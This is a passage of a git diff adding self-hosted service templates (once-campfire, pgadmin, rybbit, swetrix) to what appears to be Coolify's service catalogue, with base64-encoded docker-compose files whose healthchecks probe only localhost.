Tl9TRUNSRVQKICAgICAgLSAnRVJST1JfTE9HX0VOQUJMRUQ9JHtFUlJPUl9MT0dfRU5BQkxFRDotdHJ1ZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gIndnZXQgLXEgLU8gLSBodHRwOi8vbG9jYWxob3N0OjMwMDAvYXBpL3N0YXR1cyB8IGdyZXAgLW8gJ1wic3VjY2Vzc1wiOlxccyp0cnVlJyB8IGF3ayAtRjogJ3twcmludCAkMn0nIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotbmV3YXBpfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREI6LW5ld2FwaX0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", + "tags": [ + "api", + "openai", + "llm", + "api-gateway", + "api-management" + ], + "category": "api", + "logo": "svgs/newapi.png", + "minversion": "0.0.0", + "port": "3000" + }, "next-image-transformation": { "documentation": "https://github.com/coollabsio/next-image-transformation?utm_source=coolify.io", "slogan": "Drop-in replacement for Vercel's Nextjs image optimization service.", @@ -2852,6 +2912,24 @@ "logo": "svgs/ollama.svg", "minversion": "0.0.0" }, + "once-campfire": { + "documentation": "https://github.com/basecamp/once-campfire?utm_source=coolify.io", + "slogan": "Super simple group chat, without a subscription.", + "compose": "c2VydmljZXM6CiAgY2FtcGZpcmU6CiAgICBpbWFnZTogJ2doY3IuaW8vYmFzZWNhbXAvb25jZS1jYW1wZmlyZToke1RBRzotbWFpbn0nCiAgICByZXN0YXJ0OiB1bmxlc3Mtc3RvcHBlZAogICAgdm9sdW1lczoKICAgICAgLSAnY2FtcGZpcmUtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBTVBGSVJFXzgwCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0NBTVBGSVJFfScKICAgICAgLSAnVkFQSURfUFVCTElDX0tFWT0ke1ZBUElEX1BVQkxJQ19LRVl9JwogICAgICAtICdWQVBJRF9QUklWQVRFX0tFWT0ke1ZBUElEX1BSSVZBVEVfS0VZfScKICAgICAgLSAnRElTQUJMRV9TU0w9JHtESVNBQkxFX1NTTDotdHJ1ZX0nCiAgICAgIC0gJ1NTTF9ET01BSU49JHtTU0xfRE9NQUlOOi1mYWxzZX0nCiAgICAgIC0gJ1NLSVBfVEVMRU1FVFJZPSR7U0tJUF9URUxFTUVUUlk6LXRydWV9JwogICAgICAtICdTRU5UUllfRFNOPSR7U0VOVFJZX0RTTn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3QvdXAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "campfire", + "chat", + "communication", + "rails", + "once", + "basecamp", + "37signals" + ], + "category": "messaging", + "logo": "svgs/once-campfire.png", + "minversion": "0.0.0", + "port": "80" + }, "onedev": { "documentation": "https://docs.onedev.io/?utm_source=coolify.io", "slogan": "Git server with CI/CD, kanban, and packages. Seamless integration. Unparalleled experience.", @@ -3070,6 +3148,18 @@ "minversion": "0.0.0", "port": "8080" }, + "pgadmin": { + "documentation": "https://www.pgadmin.org/docs/pgadmin4/latest/container_deployment.html?utm_source=coolify.io", + "slogan": "pgAdmin is a web-based database management tool for administering your PostgreSQL databases through a user-friendly interface.", + "compose": "c2VydmljZXM6CiAgcGdhZG1pbjoKICAgIGltYWdlOiAnZHBhZ2UvcGdhZG1pbjQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUEdBRE1JTgogICAgICAtICdQR0FETUlOX0RFRkFVTFRfRU1BSUw9JHtQR0FETUlOX0RFRkFVTFRfRU1BSUw6P30nCiAgICAgIC0gJ1BHQURNSU5fREVGQVVMVF9QQVNTV09SRD0ke1BHQURNSU5fREVGQVVMVF9QQVNTV09SRDo/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3BnYWRtaW4tZGF0YTovdmFyL2xpYi9wZ2FkbWluJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODAvbG9naW4nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "database management" + ], + "category": "database", + "logo": "svgs/postgresql.svg", + "minversion": "0.0.0", + "port": "80" + }, "pgbackweb": { "documentation": "https://github.com/eduardolat/pgbackweb?utm_source=coolify.io", "slogan": "Effortless PostgreSQL backups with a user-friendly web interface!", @@ -3464,6 +3554,23 @@ "minversion": "0.0.0", "port": "3000" }, + "rybbit": { + "documentation": "https://rybbit.io/docs?utm_source=coolify.io", + "slogan": "Open-source, privacy-first web analytics.", + "compose": "c2VydmljZXM6CiAgcnliYml0OgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtY2xpZW50OnYxLjYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1JZQkJJVF8zMDAyCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtICdORVhUX1BVQkxJQ19CQUNLRU5EX1VSTD0ke1NFUlZJQ0VfVVJMX1JZQkJJVH0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcnliYml0X2JhY2tlbmQKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnbmMgLXogMTI3LjAuMC4xIDMwMDInCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9yeWJiaXQtaW8vcnliYml0LWJhY2tlbmQ6djEuNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFRSVVNUX1BST1hZPXRydWUKICAgICAgLSAnQkFTRV9VUkw9JHtTRVJWSUNFX1VSTF9SWUJCSVR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQkVUVEVSX0FVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfNjRfQkFDS0VORH0nCiAgICAgIC0gJ0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9URUxFTUVUUlk9JHtESVNBQkxFX1RFTEVNRVRSWTotdHJ1ZX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfSE9TVD1odHRwOi8vcnliYml0X2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7Q0xJQ0tIT1VTRV9VU0VSOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWFuYWx5dGljc30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1yeWJiaXRfcG9zdGdyZXMKICAgICAgLSBQT1NUR1JFU19QT1JUPTU0MzIKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgZGVwZW5kc19vbjoKICAgICAgcnliYml0X2NsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcnliYml0X3Bvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAxL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcnliYml0X2NsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjUuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1hbmFseXRpY3N9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtDTElDS0hPVVNFX1VTRVI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgdm9sdW1lczoKICAgICAgLSAnY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2VuYWJsZV9qc29uLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9lbmFibGVfanNvbi54bWwKICAgICAgICBjb250ZW50OiAiPGNsaWNraG91c2U+XG4gICAgPHNldHRpbmdzPlxuICAgICAgICA8ZW5hYmxlX2pzb25fdHlwZT4xPC9lbmFibGVfanNvbl90eXBlPlxuICAgIDwvc2V0dGluZ3M+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICAgIDxsb2dnZXI+XG4gICAgICAgIDxsZXZlbD53YXJuaW5nPC9sZXZlbD5cbiAgICAgICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgICA8L2xvZ2dlcj5cbiAgICA8cXVlcnlfdGhyZWFkX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHRleHRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8dHJhY2VfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGFzeW5jaHJvbm91c19tZXRyaWNfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8c2Vzc2lvbl9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICAgIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGxhdGVuY3lfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8cHJvY2Vzc29yc19wcm9maWxlX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+IgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9jbGlja2hvdXNlX2NvbmZpZy9uZXR3b3JrLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9uZXR3b3JrLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8bGlzdGVuX2hvc3Q+MC4wLjAuMDwvbGlzdGVuX2hvc3Q+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL3VzZXJfbG9nZ2luZy54bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvY2xpY2tob3VzZS1zZXJ2ZXIvY29uZmlnLmQvdXNlcl9sb2dnaW5nLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8cHJvZmlsZXM+XG4gICAgICAgIDxkZWZhdWx0PlxuICAgICAgICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgICAgICAgICAgPGxvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPjA8L2xvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPlxuICAgICAgICA8L2RlZmF1bHQ+XG4gICAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT4iCg==", + "tags": [ + "analytics", + "web", + "privacy", + "self-hosted", + "clickhouse", + "postgres" + ], + "category": null, + "logo": "svgs/rybbit.svg", + "minversion": "0.0.0", + "port": "3002" + }, "ryot": { "documentation": "https://github.com/ignisda/ryot?utm_source=coolify.io", "slogan": "Roll your own tracker! Ryot is a self-hosted platform for tracking various aspects of life such as media consumption, fitness activities, and more.", @@ -3739,6 +3846,23 @@ "minversion": "0.0.0", "port": "3567" }, + "swetrix": { + "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", + "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", + "compose": "c2VydmljZXM6CiAgc3dldHJpeDoKICAgIGltYWdlOiAnc3dldHJpeC9zd2V0cml4LWZlOnY0LjAuNScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gc3dldHJpeC1hcGkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NXRVRSSVhfMzAwMAogICAgICAtIEFQSV9VUkw9JFNFUlZJQ0VfVVJMX1NXRVRSSVhBUEkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLW5vLXZlcmJvc2UgLS10cmllcz0xIC0tc3BpZGVyIGh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9waW5nIHx8IGV4aXQgMScKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICBzdGFydF9wZXJpb2Q6IDE1cwogIHN3ZXRyaXgtYXBpOgogICAgaW1hZ2U6ICdzd2V0cml4L3N3ZXRyaXgtYXBpOnY0LjAuNScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfNjRfU0VDUkVUS0VZQkFTRQogICAgICAtIFNFUlZJQ0VfVVJMX1NXRVRSSVhBUEkKICAgICAgLSAnRElTQUJMRV9SRUdJU1RSQVRJT049JHtESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdJUF9HRU9MT0NBVElPTl9EQl9QQVRIPSR7SVBfR0VPTE9DQVRJT05fREJfUEFUSDotfScKICAgICAgLSAnREVCVUdfTU9ERT0ke0RFQlVHX01PREU6LWZhbHNlfScKICAgICAgLSAnQ0xPVURGTEFSRV9QUk9YWV9FTkFCTEVEPSR7Q0xPVURGTEFSRV9QUk9YWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1NNVFBfSE9TVD0ke1NNVFBfSE9TVDotfScKICAgICAgLSAnU01UUF9QT1JUPSR7U01UUF9QT1JUOi19JwogICAgICAtICdTTVRQX1VTRVI9JHtTTVRQX1VTRVI6LX0nCiAgICAgIC0gJ1NNVFBfUEFTU1dPUkQ9JHtTTVRQX1BBU1NXT1JEOi19JwogICAgICAtICdGUk9NX0VNQUlMPSR7RlJPTV9FTUFJTDotfScKICAgICAgLSAnU01UUF9NT0NLPSR7U01UUF9NT0NLOi1mYWxzZX0nCiAgICAgIC0gJ09JRENfRU5BQkxFRD0ke09JRENfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdPSURDX09OTFlfQVVUSD0ke09JRENfT05MWV9BVVRIOi1mYWxzZX0nCiAgICAgIC0gJ09JRENfRElTQ09WRVJZX1VSTD0ke09JRENfRElTQ09WRVJZX1VSTDotfScKICAgICAgLSAnT0lEQ19DTElFTlRfSUQ9JHtPSURDX0NMSUVOVF9JRDotfScKICAgICAgLSAnT0lEQ19DTElFTlRfU0VDUkVUPSR7T0lEQ19DTElFTlRfU0VDUkVUOi19JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSAnQ0xJQ0tIT1VTRV9IT1NUPWh0dHA6Ly9jbGlja2hvdXNlJwogICAgICAtIENMSUNLSE9VU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRQogICAgICAtIFJFRElTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICBkZXBlbmRzX29uOgogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjUwMDUvcGluZyB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgc3RhcnRfcGVyaW9kOiAxNXMKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC4yLWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QT1JUPSR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIC0gJ1JFRElTX1VTRVI9JHtSRURJU19VU0VSOi1kZWZhdWx0fScKICAgICAgLSBSRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgcGluZyB8IGdyZXAgUE9ORycKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICBzdGFydF9wZXJpb2Q6IDFtCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNC4xMC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQVRBQkFTRT0ke0NMSUNLSE9VU0VfREFUQUJBU0U6LWFuYWx5dGljc30nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke0NMSUNLSE9VU0VfVVNFUjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfUE9SVD0ke0NMSUNLSE9VU0VfUE9SVDotODEyM30nCiAgICAgIC0gQ0xJQ0tIT1VTRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtTyAtIGh0dHA6Ly8xMjcuMC4wLjE6ODEyMy9waW5nIHx8IGV4aXQgMScKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICBzdGFydF9wZXJpb2Q6IDFtCiAgICBjYXBfYWRkOgogICAgICAtIFNZU19OSUNFCiAgICB2b2x1bWVzOgogICAgICAtICdzd2V0cml4LWV2ZW50cy1kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Rpc2FibGUtdXNlci1sb2dnaW5nLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci91c2Vycy5kL2Rpc2FibGUtdXNlci1sb2dnaW5nLnhtbAogICAgICAgIHJlYWRfb25seTogdHJ1ZQogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgPHByb2ZpbGVzPlxuICAgIDxkZWZhdWx0PlxuICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgIDwvZGVmYXVsdD5cbiAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT5cbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vcmVkdWNlLWxvZ3MueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL3JlZHVjZS1sb2dzLnhtbAogICAgICAgIHJlYWRfb25seTogdHJ1ZQogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgPGxvZ2dlcj5cbiAgICA8bGV2ZWw+d2FybmluZzwvbGV2ZWw+XG4gICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgPC9sb2dnZXI+XG4gIDxxdWVyeV90aHJlYWRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDx0ZXh0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDx0cmFjZV9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDxhc3luY2hyb25vdXNfbWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDxzZXNzaW9uX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ByZXNlcnZlLXJhbS1jb25maWcueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL3ByZXNlcnZlLXJhbS1jb25maWcueG1sCiAgICAgICAgcmVhZF9vbmx5OiB0cnVlCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICA8bWFya19jYWNoZV9zaXplPjUzNjg3MDkxMjwvbWFya19jYWNoZV9zaXplPlxuICA8Y29uY3VycmVudF90aHJlYWRzX3NvZnRfbGltaXRfbnVtPjE8L2NvbmN1cnJlbnRfdGhyZWFkc19zb2Z0X2xpbWl0X251bT5cbjwvY2xpY2tob3VzZT5cbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vcHJlc2VydmUtcmFtLXVzZXIueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL3VzZXJzLmQvcHJlc2VydmUtcmFtLXVzZXIueG1sCiAgICAgICAgcmVhZF9vbmx5OiB0cnVlCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICA8cHJvZmlsZXM+XG4gICAgPGRlZmF1bHQ+XG4gICAgICA8bWF4X2Jsb2NrX3NpemU+MjA0ODwvbWF4X2Jsb2NrX3NpemU+XG4gICAgICA8bWF4X2Rvd25sb2FkX3RocmVhZHM+MTwvbWF4X2Rvd25sb2FkX3RocmVhZHM+XG4gICAgICA8aW5wdXRfZm9ybWF0X3BhcmFsbGVsX3BhcnNpbmc+MDwvaW5wdXRfZm9ybWF0X3BhcmFsbGVsX3BhcnNpbmc+XG4gICAgICA8b3V0cHV0X2Zvcm1hdF9wYXJhbGxlbF9mb3JtYXR0aW5nPjA8L291dHB1dF9mb3JtYXRfcGFyYWxsZWxfZm9ybWF0dGluZz5cbiAgICA8L2RlZmF1bHQ+XG4gIDwvcHJvZmlsZXM+XG48L2NsaWNraG91c2U+XG4iCiAgICB1bGltaXRzOgogICAgICBub2ZpbGU6CiAgICAgICAgc29mdDogMjYyMTQ0CiAgICAgICAgaGFyZDogMjYyMTQ0Cg==", + "tags": [ + "analytics", + "privacy", + "monitoring", + "open-source", + "clickhouse", + "redis" + ], + "category": "analytics", + "logo": "svgs/swetrix.svg", + "minversion": "0.0.0", + "port": "3000" + }, "syncthing": { "documentation": "https://syncthing.net/?utm_source=coolify.io", "slogan": "Syncthing synchronizes files between two or more computers in real time.", @@ -3789,7 +3913,7 @@ "traccar": { "documentation": "https://www.traccar.org/documentation/?utm_source=coolify.io", "slogan": "Traccar is a free and open source modern GPS tracking system.", - "compose": 